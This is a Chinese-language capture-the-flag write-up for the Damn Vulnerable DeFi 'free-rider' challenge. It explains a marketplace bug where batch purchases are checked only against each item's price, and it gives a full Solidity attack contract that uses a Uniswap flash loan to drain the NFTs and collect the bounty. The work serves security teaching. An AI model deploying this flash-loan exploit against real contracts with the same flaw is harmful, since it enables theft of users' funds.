跳到主要内容

free-rider

题目链接:https://www.damnvulnerabledefi.xyz/challenges/10.html

题目描述:

现有已经发布的 Damn Valuable NFT 交易市场,初始 mint 了 6 个 NFT,并且可以在交易市场上出售,售价为 15ETH。

有个买家告诉了你一个秘密:市场是脆弱的,所有的代币都可以被拿走。然而,他并不知道怎么做。为此愿意提供 45 ETH 的奖励给取出 NFT 并发送给他的人。

你想在这个买家那里建立一些名声,所以你已经同意了这个计划。

遗憾的是你只有 0.5 ETH。要是有一个地方你可以免费获得 ETH 就好了,暂时性的也可以。

FreeRiderBuyer.sol

买家合约

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {

using Address for address payable;
address private immutable partner;
IERC721 private immutable nft;
uint256 private constant JOB_PAYOUT = 45 ether;
uint256 private received;

// 部署时向该合约转入了 45eth
constructor(address _partner, address _nft) payable {
require(msg.value == JOB_PAYOUT);
partner = _partner;
nft = IERC721(_nft);
IERC721(_nft).setApprovalForAll(msg.sender, true);
}

// 接收到NFT时触发的函数
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
)
external
override
nonReentrant
returns (bytes4)
{
require(msg.sender == address(nft));
require(tx.origin == partner); // 确保交易的发起人是partner
require(_tokenId >= 0 && _tokenId <= 5);
require(nft.ownerOf(_tokenId) == address(this)); // 确保已持有

received++;
// 接收到6个NFT后将45eth转给partner
if(received == 6) {
payable(partner).sendValue(JOB_PAYOUT);
}
return IERC721Receiver.onERC721Received.selector;
}
}

由于该合约继承自 IERC721Receiver ,且 NFT 合约继承自 ERC721

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl {}

意味着当 NFT 合约调用 safeTransferFromto 地址是该合约时,会触发 onERC721Received 函数。

safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)

safeTransferFrom 内部会判断 to 是否是合约地址,是的话则会调用 onERC721Received

FreeRiderNFTMarketplace.sol

交易合约,继承自 ReentrancyGuard, 用于防止重入攻击。

构造函数中创建了一个 DamnValuableNFT 合约,并 mintamountToMint 数量的 NFT 给了合约部署者

constructor(uint8 amountToMint) payable {
require(amountToMint < 256, "Cannot mint that many tokens");
token = new DamnValuableNFT();

for(uint8 i = 0; i < amountToMint; i++) {
token.safeMint(msg.sender);
}
}

该合约提供了两种功能

  • 批量出售 offerMany
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
require(tokenIds.length > 0 && tokenIds.length == prices.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
_offerOne(tokenIds[i], prices[i]);
}
}

function _offerOne(uint256 tokenId, uint256 price) private {
// 确保出价 > 0
require(price > 0, "Price must be greater than zero");
// 出售者必须是持有该NFT
require(msg.sender == token.ownerOf(tokenId), "Account offering must be the owner");

// 确保已授权
require(
token.getApproved(tokenId) == address(this) ||
token.isApprovedForAll(msg.sender, address(this)),
"Account offering must have approved transfer"
);
// 记录价格
offers[tokenId] = price;

amountOfOffers++;

emit NFTOffered(msg.sender, tokenId, price);
}

NFT 持有人调用该方法,除了一些基本的校验之外,还会授权该合约可以对持有人持有的 NFT 进行操作。

最后将报价保存到 offers[tokenId],当有人购买时,由于持有人已经授权了该合约可以操作其所持有的 NFT,故在收到付款后,该合约可以直接将持有人的 NFT 转给购买人。

  • 批量购买 buyMany
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}

function _buyOne(uint256 tokenId) private {
// 获取价格
uint256 priceToPay = offers[tokenId];
// 确保转入的价格不少于售价
require(priceToPay > 0, "Token is not being offered");
require(msg.value >= priceToPay, "Amount paid is not enough");

amountOfOffers--;

// 将 NFT 转给购买人
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

// 将收到的 ETH 转给卖方
payable(token.ownerOf(tokenId)).sendValue(priceToPay);

emit NFTBought(msg.sender, tokenId, priceToPay);
}

当有卖家在交易合约中出售其持有的 NFT 后,买家就可以执行购买流程,首先获取价格,并确保收到的 ETH 不低于售价,之后由该合约将卖家持有的 NFT 转给买家并将收到的 ETH 转给卖家。

批量购买功能其实有个明显的问题,在检查收到的 ETH 要不少于售价时 require(msg.value >= priceToPay, "Amount paid is not enough"); 检查的是单个 NFT 的价格,而不是批量购买的总额。而且 ETH 转给卖方的时候用的是合约内的余额。

例如交易合约持有100ETH, 卖家出售其持有的 tokenId 为 1, 2, 3 的 NFT,价格分别为 1ETH, 5ETH, 3ETH。此时买家购买调用 buyMany 应付的价格为 9ETH,但实际上仅需要支付5ETH(购买价最高的 tokenId 的价格)就能满足 require 的检查。此时交易合约共持有105ETH 。转账时,交易合约共向卖方们转了9ETH。即买方购买时少付的 ETH 由交易合约的余额补上了。

在本题中,NFT 的单价为15ETH,因此只需要付15ETH即可购买 6 个NFT,而不是90ETH。但你只有0.5ETH。因此要想办法获得 ETH ,通过 uniswap 的闪电贷就是不错的方法:

  • 通过闪电贷借出15WETH,并将 WETH 换成 ETH
  • 使用 ETH 购买 NFT,并将购买的 NFT 发送给 FreeRiderBuyer,收到45ETH的奖励。
  • 最后将 ETH 换回 WETH,算上闪电贷的费率还清闪电贷的借款

由于这些操作需要再一笔交易中完成,因此需要写一个攻击合约,不过在此之前需要先看下测试文件 free-rider.challenge.js 做了哪些初始化:

  • attacker 发送了 0.5ETH
  • 部署合约 WETHDVTuniswapFactoryuniswapRouter
  • 通过调用 uniswapRouter 合约的方法 addLiquidityETH 添加流动性,该方法内部会创建配对合约 uniswapPair,配对的币种是WETH-DVT ,添加的流动性为 9000WETH15000DVT
  • 部署合约 FreeRiderNFTMarketplace,并转入90ETH
  • 部署 NFT 合约
  • 在交易合约中创建卖单出售 tokenId 为 0~5 的 NFT ,每个价格都为 15ETH
  • 部署合约 FreeRiderBuyer 并转入45ETH

攻击合约代码如下:

FreeRiderAttack.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "../free-rider/FreeRiderNFTMarketplace.sol";
import "../free-rider/FreeRiderBuyer.sol";
import "../DamnValuableNFT.sol";

contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {

FreeRiderBuyer buyer;
FreeRiderNFTMarketplace marketplace;

IUniswapV2Pair pair;
IWETH weth;
DamnValuableNFT nft;
address attacker;

uint256[] tokenIds = [0, 1, 2, 3, 4, 5];

constructor(address _buyer, address payable _marketplace, address _pair, address _weth, address _nft) payable {
buyer = FreeRiderBuyer(_buyer);
marketplace = FreeRiderNFTMarketplace(_marketplace);

pair = IUniswapV2Pair(_pair);
weth = IWETH(_weth);
nft = DamnValuableNFT(_nft);

attacker = msg.sender;
}

function attack(uint amount) external {
// 配对合约: WETH-DVT
// 通过 uniswap 闪电贷借出 amount 数量的 WETH
// 注意: 最后一个参数不能为空,不然就不会执行闪电贷的回调
pair.swap(amount, 0, address(this), "x");
}

// uniswap 闪电贷回调
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
// 将借出的 WETH 转成 ETH
weth.withdraw(amount0);

// 将借出的15ETH转给交易合约用于购买tokenId为0~5的NFT
marketplace.buyMany{value: amount0}(tokenIds);

// 将购买的NFT转给buyer, 并得到 45 ETH
for (uint tokenId = 0; tokenId < tokenIds.length; tokenId++) {
nft.safeTransferFrom(address(this), address(buyer), tokenId);
}

// 计算闪电贷要还的费用, 并将要还的部分转成 weth
uint fee = amount0 * 3 / 997 + 1;
weth.deposit{value: fee + amount0}();

// 返还闪电贷
weth.transfer(address(pair), fee + amount0);

// 将剩余的 eth 转给 attacker
payable(address(attacker)).transfer(address(this).balance);
}

receive() external payable {}

function onERC721Received(address, address, uint256, bytes memory) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}

在测试文件 free-rider.challenge.js 添加执行入口

it('Exploit', async function () {
const freeRiderAttack = await (
await ethers.getContractFactory('FreeRiderAttack', attacker)
).deploy(
this.buyerContract.address,
this.marketplace.address,
this.uniswapPair.address,
this.weth.address,
this.nft.address
)
await freeRiderAttack.attack(NFT_PRICE)
})

最后执行 yarn free-rider 测试通过!

完整代码